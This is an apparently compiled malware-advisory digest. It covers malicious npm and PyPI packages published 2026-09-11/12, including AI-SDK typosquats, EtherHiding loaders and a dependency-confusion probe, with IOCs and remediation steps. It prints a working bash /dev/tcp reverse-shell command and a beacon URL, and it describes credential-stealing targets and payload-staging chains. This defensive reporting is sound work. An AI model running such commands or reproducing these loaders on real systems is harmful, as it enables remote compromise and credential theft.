GitHub Advisory malware sweep - 2026-09-11/12 (`greensaver` jsonkeeper AES continuation, `tailwind-form-kit` EtherHiding continuation, `2026-09-openaii` AI SDK typosquat wave `langgrap`/`openaii`/`transfomers`/`ollamaa`, `eth-account`/`web3-eth-account` blockchain-C2 pair, `@nimbusedge/auth` dep-confusion reverse shell)

What happened

Between roughly 2026-09-11 12:00 UTC and 2026-09-12 12:00 UTC, GitHub Advisory Database published 17 new npm and PyPI malware advisories plus a smaller-than-usual tea.xyz spam continuation. This window is notable for two continuation-of-yesterday operators re-surfacing under new names (Cluster A greensaver = yesterday's pinochiomathm operator; Cluster B tailwind-form-kit = yesterday's tailwindcss-contact-forms operator), plus a new coordinated AI-SDK typosquat wave (Cluster C, four PyPI packages sharing one campaign label).

Cluster A - greensaver (jsonkeeper.com/b/V6NBX AES-256-CBC payload, myPassword123, 4th package in 5 days)

greensaver@1.2.1/1.2.2/1.2.3 (GHSA-jfw2-6254-9cwg) impersonates a picomatch-style glob matcher (advertised as "Blazing fast and accurate glob matcher"). Payload chain:

1. postinstall fires node lib/greensaver.js
2. Two files disguised as TypeScript sourcemaps (lib/parse.ts.map, lib/init.ts.map) are base64-decoded into JavaScript
3. Loader HTTP-GETs https://www.jsonkeeper.com/b/V6NBX
4. Response is decrypted with AES-256-CBC using the hardcoded password myPassword123
5. Plaintext is passed directly to eval()
6. All decoded files are deleted to remove traces

This is the fourth package in five days from what is unmistakably the same operator, using the same collector path and same hardcoded password:

Block jsonkeeper.com at corporate egress permanently - the URL is the durable IOC, not the package names.

Cluster B - tailwind-form-kit (EtherHiding, wallet 0xa322E5…, continuation of yesterday's Cluster B)

tailwind-form-kit@0.6.4 (GHSA-p7c5-phj5-qm49) plus an all-versions boilerplate flag (GHSA-8p5f-pjcw-69mw). The obfuscated src/index.js:

1. Enumerates public Ethereum JSON-RPC providers: publicnode, drpc.org/eth, blockscout, *stapi.io
2. Reads transaction data on the hardcoded attacker wallet 0xa322E5f39aDC2490Ef6f0121063eD311D3080e1a
3. Extracts a base64/gzip/deflate/br-encoded payload from an x-payload-B64 response header or transaction data
4. Spawns a child node process on the retrieved bytes

Same wallet + same RPC fanout + same header shape as yesterday's tailwindcss-contact-forms (2026-09-11 Cluster B). This is a follow-up publish under a different tailwind* lookalike name; the operator has now used the wallet address for at least two package names and appears to be cycling @tailwindcss/forms lookalikes.

Cluster C - 2026-09-openaii AI SDK typosquat wave (PyPI, 4 coordinated packages)

All four PyPI packages published within a ~24h window under the shared campaign label 2026-09-openaii:

Common payload shape: a .pth file executes on Python startup (before any user code), downloads and executes an obfuscated second-stage script, hides its own existence on disk, and drops:

• SSH-key + cloud-credential exfiltration (~/.ssh/*, ~/.aws/credentials, GCP ADC, Azure profile)
• A cryptominer
• A persistence mechanism
• Log-clearing / track-covering routines
• Anti-analysis obfuscation explicitly designed against AI-based static scanners

Correlating source hashes (Amazon Inspector via kam193 / bad-packages.kam193.eu):

• 80943fa8…744b1db9 — langgrap
• c49a2850…21e79120 — openaii
• c6a3963d…9befec9a — transfomers
• (ollamaa hash not disclosed in advisory body)

The combined pick of langgrap + openaii + transfomers + ollamaa targets the exact stack an AI-agent-building developer is likely to pip install in one session. Same-operator campaign under this label also runs platform-telemetry-client (Cluster H) as a sibling probe.

Cluster D - aitextkit-py / aitextutils-py (PyPI, systemd-persistence pair)

Coordinated pair published together:

• aitextkit-py@0.1.0/0.1.1 (GHSA-657v-53xv-3xw9)
• aitextutils-py@0.1.0/0.1.1 (GHSA-hm5j-9gw8-8568)

On import, each package contains a hidden downloader that fetches and executes a heavily obfuscated final-stage payload. Persistence is installed via a systemd service named anymeetly-cameradriver, plausibly disguised as a legitimate device-driver update. The AI-themed names read as lures (there is no widely-used aitextkit or aitextutils upstream to typosquat) rather than typosquats. Campaign label 2026-09-aitextkit-py; content is hosted on a domain associated with a corporate-style website facade (specific hostname not disclosed in the advisory body).

Cluster E - web3-eth-account / eth-account-web3 (PyPI, blockchain-C2 typosquat pair)

Coordinated typosquats of the legitimate eth-account library:

• web3-eth-account@0.14.0 (GHSA-6rvw-xw58-h4pf)
• eth-account-web3@0.14.0 (GHSA-wg93-942j-x57j)

Both are gated: the malicious behaviour only activates on import if particular environment variables are present (a common sandbox-evasion pattern). When triggered:

1. Query a public blockchain for the state of a specific smart contract
2. Read the next-stage payload URL from that contract's state
3. Download and execute the retrieved payload

This is a variant of Cluster B's EtherHiding pattern: rather than reading transaction data on a wallet, it reads state on a contract. Attribution to the same operator as Cluster B is plausible but not confirmed by the advisory. Campaign label 2026-09-web3-eth-account.

Cluster F - pymem-win (PyPI, Windows trojan/infostealer, campaign overlap with 2026-07 yt-api-dlp)

pymem-win@1.14.0/1.14.1/1.14.4/1.14.5/1.14.6 (GHSA-9q7m-83fp-6g4q) is a typosquat of the legitimate pymem Windows memory-manipulation library. On import, obfuscated code downloads and executes a Windows .exe binary from a remote endpoint. The advisory explicitly notes campaign overlap with the July 2026 2026-07-yt-api-dlp campaign (yt-dlp typosquat, same operator, rotated name). Source hash 82eb1f11…b0528477.

Cluster G - @nimbusedge/auth (npm, dep-confusion reverse shell)

@nimbusedge/auth (GHSA-gr7r-8wrc-f3mw) is a dep-confusion probe using the classic inflated-version trick: 43 versions published under 19999.0.1 through 19999.1360.5, plus a lower 221.1.0 companion. Any organization with an internal nimbusedge scope that resolves against public npm will pull one of these versions before its own registry can respond.

preinstall payload:

1. bash -i >& /dev/tcp/147.93.157.202/8080 0>&1 — interactive reverse shell to the operator IP
2. curl POST session data to http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php — canarytoken beacon

The canarytokens.com beacon could indicate this is a security-research canary run against a hypothetical @nimbusedge/* corporate scope. However, an interactive reverse shell to 147.93.157.202:8080 is real RCE either way; treat any hit as an active compromise.

Cluster H - platform-telemetry-client (PyPI, PTH DNS-staged loader, aborted)

platform-telemetry-client@1.0.0 (GHSA-7767-763c-fxp3) plants a .pth file that runs the loader on every Python init. The loader attempts to retrieve payload staged in DNS records. The intended DNS domain was not registered during OpenSSF analysis - so this package did not fully detonate in the wild. It shares campaign label 2026-09-openaii with Cluster C, indicating the same operator. Treat as a would-be RCE vehicle; if the operator later registers the DNS record, existing installations will detonate the next time Python starts.

Cluster I - boilerplate / beacon singletons (small)

Small low-analysis batch:

• cr-bot-common@1.0.0 (GHSA-mjmf-5pc4-pfrp) — npm preinstall + postinstall harvester scanning .env (cwd + parents), private-key files (*.key, *.pem, id_rsa, id_ed25519, wallet.json, keystore.json, mnemonic.txt), env-var patterns (KEY / SECRET / TOKEN / PASSWORD / AWS / PRIVATE / MONGO / JWT), and cloud/container metadata (Docker, Kubernetes, AWS, GCP, Azure). IOCs use placeholder attacker.com/collect and attacker.com/exfiltrate URLs, suggesting this is a template or demo rather than a live campaign - but a package with real collection routines is malicious regardless.
• tracker-cloudflare@1.0.0 (GHSA-f874-m83r-9vqh) — npm preinstall beacon to c6j5cmm8sia88v4zyhykqvhvcmid65uu.oastify.com (Burp Collaborator / OAST server) with /etc/passwd, /etc/hosts, DNS config, and user metadata. Standard dep-confusion pentest probe.
• strapi-plugin-vinsoc-1109@3.6.8 (GHSA-244v-fw48-794m) — OpenSSF Package Analysis flag for communicating with a malicious domain. Continues the Strapi plugin typosquat pattern already documented in the April 2026 Strapi plugin file.

Cluster J - tea.xyz spam wave (smaller, continuing)

The tea.xyz auto-publish spam continues to appear at a lower rate than yesterday - only a handful of fancy_*_z3n / famous_*_z3n names surfaced in the sweep window vs. hundreds yesterday. No new naming schemes. Continue applying the prefix / regex deny-list rules from the 2026-09-11 sweep to internal mirrors; this file does not re-enumerate.

Cross-operator patterns worth flagging

1. jsonkeeper.com/b/V6NBX + myPassword123 is now a five-day-durable operator IOC. Block the URL at corporate egress permanently. Package names are ephemeral; the collector is not.
2. The 0xa322E5… Ethereum wallet is now a two-day-durable operator IOC. Add it to any internal blockchain-monitoring rule set.
3. AI SDK typosquat volume is accelerating. Between Cluster C (four packages here), Cluster D (two more), and the ongoing background rate of openai/anthropic/langchain/langgraph/transformers/ollama typosquats, an "AI-adjacent name lookalike" filter on npm and PyPI resolution is starting to pay for itself. Consider requiring --index-url pinning + hash-pinned requirements files for any pipeline that installs AI SDKs.

Registry state

All packages in Clusters A-I are flagged as malware on npm / PyPI and quarantined at the time of writing. Cluster J tea.xyz spam is auto-republished continuously under fresh randomised names under the same operator infrastructure; only prefix / regex denylists on internal mirrors are durable mitigation.

Discovery credits

GitHub Advisory Database, OpenSSF malicious-packages, OpenSSF Package Analysis, amazon-inspector (via kam193 / bad-packages.kam193.eu). Per-package IOC details drawn verbatim from GHSA advisory bodies published between 2026-09-11 and 2026-09-12 UTC.

Affected packages (16)

Impact

• Cluster A — greensaver npm typosquat (jsonkeeper.com/b/V6NBX AES-256-CBC payload, myPassword123): greensaver@1.2.1/1.2.2/1.2.3 (GHSA-jfw2-6254-9cwg) impersonates a glob-matcher library ("Blazing fast and accurate glob matcher") in the picomatch mould. Its postinstall runs node lib/greensaver.js, which base64-decodes ciphertext hidden in decoy lib/parse.ts.map / lib/init.ts.map "sourcemaps", HTTP-GETs https://www.jsonkeeper.com/b/V6NBX, decrypts the response with AES-256-CBC using the hardcoded password myPassword123, eval()s the plaintext, then deletes the decoded files. Same collector path + same hardcoded password as yesterday's pinochiomathm (Cluster A, 2026-09-11 sweep) and Sunday's punypump (Cluster F, 2026-09-09 sweep) — this is the same operator on its fourth known package in five days. Amazon Inspector source hash dd840e550f39e1f29f7a50b0cd121c3fa5e78e99954f22009f03b5ac775f91ec
• Cluster B — tailwind-form-kit npm EtherHiding wallet-C2 continuation: tailwind-form-kit@0.6.4 (GHSA-p7c5-phj5-qm49) plus an all-versions boilerplate flag (GHSA-8p5f-pjcw-69mw). Its src/index.js is a heavily obfuscated single-line obfuscator.io loader that on require() enumerates public Ethereum JSON-RPC endpoints (publicnode, drpc.org/eth, blockscout, *stapi.io), reads transaction data on the hardcoded attacker wallet 0xa322E5f39aDC2490Ef6f0121063eD311D3080e1a, extracts a base64/gzip/deflate/br-encoded payload from x-payload-B64 response headers or transaction data, then spawns a child node process on the retrieved bytes. Same wallet, same RPC-provider fanout, same X-Payload-* header shape as yesterday's tailwindcss-contact-forms (Cluster B, 2026-09-11 sweep) — same operator, follow-up name in the same NullReceiver / EtherHiding fetch-and-exec family
• Cluster C — 2026-09-openaii AI SDK typosquat wave (PyPI, 4 packages): langgrap@0.2.45 (GHSA-crjm-2g45-pq97, typosquat of langgraph), openaii<=1.55.3 (GHSA-q5h5-h6mj-vhgv, typosquat of openai), transfomers@4.44.2 (GHSA-2p95-qvc5-6rjq, typosquat of transformers), and ollamaa@0.4.2 (GHSA-9gv4-vfjg-jjrm, typosquat of ollama). All four ship the same payload shape: a .pth file executes on Python startup, downloads and executes an obfuscated second stage, hides its own existence, then installs a credential-theft routine (SSH keys, ~/.aws/credentials, GCP ADC, Azure profile), a cryptomining component, a persistence mechanism, and log-clearing. Anti-analysis obfuscation is explicitly aimed at AI-based security tools. Source hashes: 80943fa8…744b1db9 (langgrap), c49a2850…21e79120 (openaii), c6a3963d…9befec9a (transfomers). Same campaign label ties Cluster H platform-telemetry-client in as a sibling
• Cluster D — aitextkit-py / aitextutils-py PyPI systemd-persistence pair: aitextkit-py@0.1.0/0.1.1 (GHSA-657v-53xv-3xw9) and aitextutils-py@0.1.0/0.1.1 (GHSA-hm5j-9gw8-8568) share the same "code downloading script, which then downloads and executes a heavily obfuscated final stage" pattern and both install a anymeetly-cameradriver systemd service for persistence, indicating a coordinated pair from one operator (campaign label 2026-09-aitextkit-py). Source hashes b1a048ec…4610b64bf (aitextkit-py), 079adf05…4779d52f77 (aitextutils-py). Names are AI-themed lures rather than typosquats of any known real package
• Cluster E — web3-eth-account / eth-account-web3 PyPI blockchain-C2 typosquat pair: web3-eth-account@0.14.0 (GHSA-6rvw-xw58-h4pf) and eth-account-web3@0.14.0 (GHSA-wg93-942j-x57j), both typosquats of the legitimate eth-account library. Both activate on import only if particular environment variables are present (analysis-sandbox evasion). When triggered, they query a blockchain and read the next-stage payload URL from a smart contract, then download and execute the retrieved code. This is a variant of the EtherHiding pattern (Cluster B): rather than reading transaction data on a wallet, it reads state on a contract - but the operator ergonomics are identical. Same campaign label 2026-09-web3-eth-account. Source hashes bd36aeb2…8c9c9503 (web3-eth-account), 25b1d3ec…9d028ca (eth-account-web3)
• Cluster F — pymem-win PyPI trojan/infostealer (2026-09-pymem-win, overlaps 2026-07-yt-api-dlp): pymem-win@1.14.0/1.14.1/1.14.4/1.14.5/1.14.6 (GHSA-9q7m-83fp-6g4q) is a typosquat of the legitimate pymem Windows memory-manipulation library. On import, obfuscated code downloads and executes an .exe binary from a remote endpoint. The advisory notes campaign fingerprint overlap with the July 2026 yt-api-dlp (yt-dlp typosquat) campaign - same operator, rotated name. Source hash 82eb1f11…b0528477
• Cluster G — @nimbusedge/auth npm dep-confusion reverse shell (sentinel 19999.x versions): @nimbusedge/auth@19999.0.1 through 19999.1360.5 (43 versions, plus 221.1.0) (GHSA-gr7r-8wrc-f3mw). Its preinstall script runs bash -i >& /dev/tcp/147.93.157.202/8080 0>&1 (interactive reverse shell) and then curls a POST to http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php (canarytoken beacon). The 19999.x inflated-version fanout is the classic dep-confusion resolution pattern used to beat internal-registry nimbusedge resolution. The canarytokens.com beacon could indicate this is a security-research canary run, but the reverse shell to the operator-controlled IP is a real RCE either way. Source hash a1c515f5…3d1d5885
• Cluster H — platform-telemetry-client PyPI PTH DNS-staged loader (2026-09-openaii sibling): platform-telemetry-client@1.0.0 (GHSA-7767-763c-fxp3) plants a .pth file that runs the loader on every Python init and attempts to retrieve payload staged in DNS records. The intended DNS domain was not registered during OpenSSF analysis, so this specific package did not fully detonate - but it shares the 2026-09-openaii campaign label with Cluster C and is on the same operator infrastructure. Source hash 7464733f…3cb0a0eb. Treat as a would-be RCE vehicle; capture the DNS record before it becomes reachable
• Cluster I — Boilerplate / beacon singletons: cr-bot-common@1.0.0 (GHSA-mjmf-5pc4-pfrp) — npm preinstall+postinstall harvester that reads .env from cwd + parents, hunts for *.key/*.pem/id_rsa/id_ed25519/wallet.json/keystore.json/mnemonic.txt, and detects Docker/Kubernetes/AWS/GCP/Azure metadata endpoints, exfiltrating over HTTPS. IOCs use placeholder attacker.com/collect / attacker.com/exfiltrate URLs, suggesting this is either an unfinished template, a red-team demo, or a naïve fresh-start operator. Source hash ddd83408…f1ad74f. tracker-cloudflare@1.0.0 (GHSA-f874-m83r-9vqh) — npm preinstall beacon to c6j5cmm8sia88v4zyhykqvhvcmid65uu.oastify.com (OAST) with /etc/passwd, /etc/hosts, DNS config, and user metadata. strapi-plugin-vinsoc-1109@3.6.8 (GHSA-244v-fw48-794m) — OpenSSF-flagged for communicating with a malicious domain; same shape as the April 2026 Strapi plugin typosquat wave
• Cluster J — tea.xyz token-farming spam wave (continuing, smaller than 2026-09-11): The tea.xyz auto-publish spam continues to appear in the GHSA feed at a lower rate than yesterday - only a handful of new fancy_*_z3n / famous_*_z3n / familiar_*_z3n / fantastic_*_z3n names surfaced in this window vs. hundreds yesterday. No new naming schemes. Continue to apply the prefix / regex rules from the 2026-09-11 sweep to internal mirrors; no per-name enumeration this file

What to do

1. 1Grep every package-lock.json, yarn.lock, pnpm-lock.yaml, package.json, requirements.txt, poetry.lock, and Pipfile.lock in your org for the specific package names in Clusters A-I below. Uninstall on hit, wipe node_modules / the affected venv, delete the lockfile, rebuild against a clean cache, and rotate every credential the affected host could have touched
2. 2For Cluster A greensaver: any host that installed greensaver@1.2.1-1.2.3 executed operator-supplied JavaScript decrypted from jsonkeeper.com/b/V6NBX. This is now the fourth known package (punypump, pinochiomathm, an internal 2026-09-10 batch reference, and now greensaver) using the same collector path + same myPassword123 password within five days. Block jsonkeeper.com at corporate egress permanently - the URL is the durable operator IOC, not the package names. Treat any host that resolved this URL from a Node build as fully compromised: rotate SSH keys, cloud tokens, and any secrets the build touched
3. 3For Cluster B tailwind-form-kit: same remediation as yesterday's tailwindcss-contact-forms (2026-09-11 Cluster B). Block *.ut.com, *stapi.io, and audit ETH RPC-endpoint egress logs from build containers for outbound queries to drpc.org, publicnode.com, blockscout, blastapi.io. Any wallets on hosts that ran this package should be considered address-leaked. Pin the real upstream @tailwindcss/forms explicitly
4. 4For Cluster C 2026-09-openaii AI SDK typosquats: any Python environment that imported langgrap, openaii, transfomers, or ollamaa should be treated as fully compromised - SSH keys, cloud credentials, and a cryptominer were installed. Rotate every credential from the affected host and search for the persistence mechanism (the advisory does not name the specific persistence path, but campaign siblings use systemd user units or shell-rc autoruns). Pin the real upstream langgraph, openai, transformers, and ollama explicitly with hash-pinned requirements files
5. 5For Cluster D aitextkit-py / aitextutils-py: check systemctl list-unit-files | grep anymeetly-cameradriver on any host that ran these packages - stop and remove the unit, delete the unit file, and rebuild any container image that touched them. Search build logs for outbound calls to the operator's obfuscator-hosted second-stage URL (advisory does not disclose the specific host)
6. 6For Cluster E web3-eth-account / eth-account-web3: hosts that imported these while relevant env vars were set fetched the next-stage payload URL from a public smart contract read. Audit ETH JSON-RPC egress for smart-contract state reads that don't match your application. Pin the real upstream eth-account explicitly
7. 7For Cluster F pymem-win: any Windows Python environment that imported pymem-win@1.14.0-1.14.6 executed an operator-supplied .exe. Full host compromise on Windows - rotate every credential, run offline AV/EDR forensics, and pin the real upstream pymem
8. 8For Cluster G @nimbusedge/auth: block IP 147.93.157.202 at corporate egress and add the canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php beacon URL to your outbound HTTP deny-list. If your organization owns any internal nimbusedge scope and resolves it against public npm, publish an authoritative 19999.x-beating internal version immediately (or, better, configure the scope to resolve @nimbusedge/* only from your private registry)
9. 9For Cluster H platform-telemetry-client: even though the intended payload DNS record was unregistered during analysis, treat any host that installed this package as compromised - the loader runs on every Python startup and can activate the moment the operator registers the DNS record. Remove the package and its .pth file, then audit easy-install.pth and any site-packages-level .pth file on affected interpreters
10. 10For every npm install and pip install in CI, prefer --ignore-scripts / --no-build-isolation (pip 23+) or an equivalent lockfile-consumer mode that blocks preinstall/postinstall/setup.py payloads. This blocks Clusters A, D, F, G, I, and the executable half of J entirely for lockfile-consumer paths. It does NOT block Clusters C, E, or H (Python .pth file loaders and import-time payloads run whenever the module is imported, not just at install)
11. 11Add every specific name below to internal private-registry deny-lists for at least 30 days to prevent re-uploads by rotating operators. Block scopes @nimbusedge/* (unless you own it) and continue prefix-blocking fancy_* / famous_* / familiar_* / fantastic_* / family-island-unlimited-energy* from the 2026-09-11 sweep
12. 12Durable IOC catalog (block at corporate egress permanently): jsonkeeper.com/b/V6NBX, ut.com (any subdomain, per Cluster B), 147.93.157.202, oastify.com (any subdomain), canarytokens.com (unless you use it for your own canaries), and the ETH wallet 0xa322E5f39aDC2490Ef6f0121063eD311D3080e1a on internal blockchain-monitoring rules

References

• GitHub Advisory Database - recent malware advisories

  github.com
  GitHub
• GHSA-jfw2-6254-9cwg - greensaver (Cluster A - jsonkeeper.com/b/V6NBX AES continuation)

  github.com
  GitHub
• GHSA-p7c5-phj5-qm49 - tailwind-form-kit 0.6.4 (Cluster B - EtherHiding wallet-C2 continuation)

  github.com
  GitHub
• GHSA-8p5f-pjcw-69mw - tailwind-form-kit all versions (Cluster B - boilerplate)

  github.com
  GitHub
• GHSA-crjm-2g45-pq97 - langgrap (Cluster C - langgraph typosquat)

  github.com
  GitHub
• GHSA-q5h5-h6mj-vhgv - openaii (Cluster C - openai typosquat)

  github.com
  GitHub
• GHSA-2p95-qvc5-6rjq - transfomers (Cluster C - transformers typosquat)

  github.com
  GitHub
• GHSA-9gv4-vfjg-jjrm - ollamaa (Cluster C - ollama typosquat)

  github.com
  GitHub
• GHSA-657v-53xv-3xw9 - aitextkit-py (Cluster D - systemd persistence)

  github.com
  GitHub
• GHSA-hm5j-9gw8-8568 - aitextutils-py (Cluster D - systemd persistence)

  github.com
  GitHub
• GHSA-6rvw-xw58-h4pf - web3-eth-account (Cluster E - blockchain-C2 typosquat)

  github.com
  GitHub
• GHSA-wg93-942j-x57j - eth-account-web3 (Cluster E - blockchain-C2 typosquat)

  github.com
  GitHub
• GHSA-9q7m-83fp-6g4q - pymem-win (Cluster F - Windows trojan)

  github.com
  GitHub
• GHSA-gr7r-8wrc-f3mw - @nimbusedge/auth (Cluster G - dep-confusion reverse shell)

  github.com
  GitHub
• GHSA-7767-763c-fxp3 - platform-telemetry-client (Cluster H - PTH DNS-staged loader)

  github.com
  GitHub
• GHSA-mjmf-5pc4-pfrp - cr-bot-common (Cluster I - env/keys/cloud harvester)

  github.com
  GitHub
• GHSA-f874-m83r-9vqh - tracker-cloudflare (Cluster I - oastify OAST beacon)

  github.com
  GitHub
• GHSA-244v-fw48-794m - strapi-plugin-vinsoc-1109 (Cluster I - malicious-domain comm)

  github.com
  GitHub
• OpenSSF malicious-packages repository

  github.com
  OpenSSF
• Sonatype: Six npm Packages Use Ethereum Transactions to Retrieve Malicious Payloads (Cluster B precedent)

  sonatype.com
  Sonatype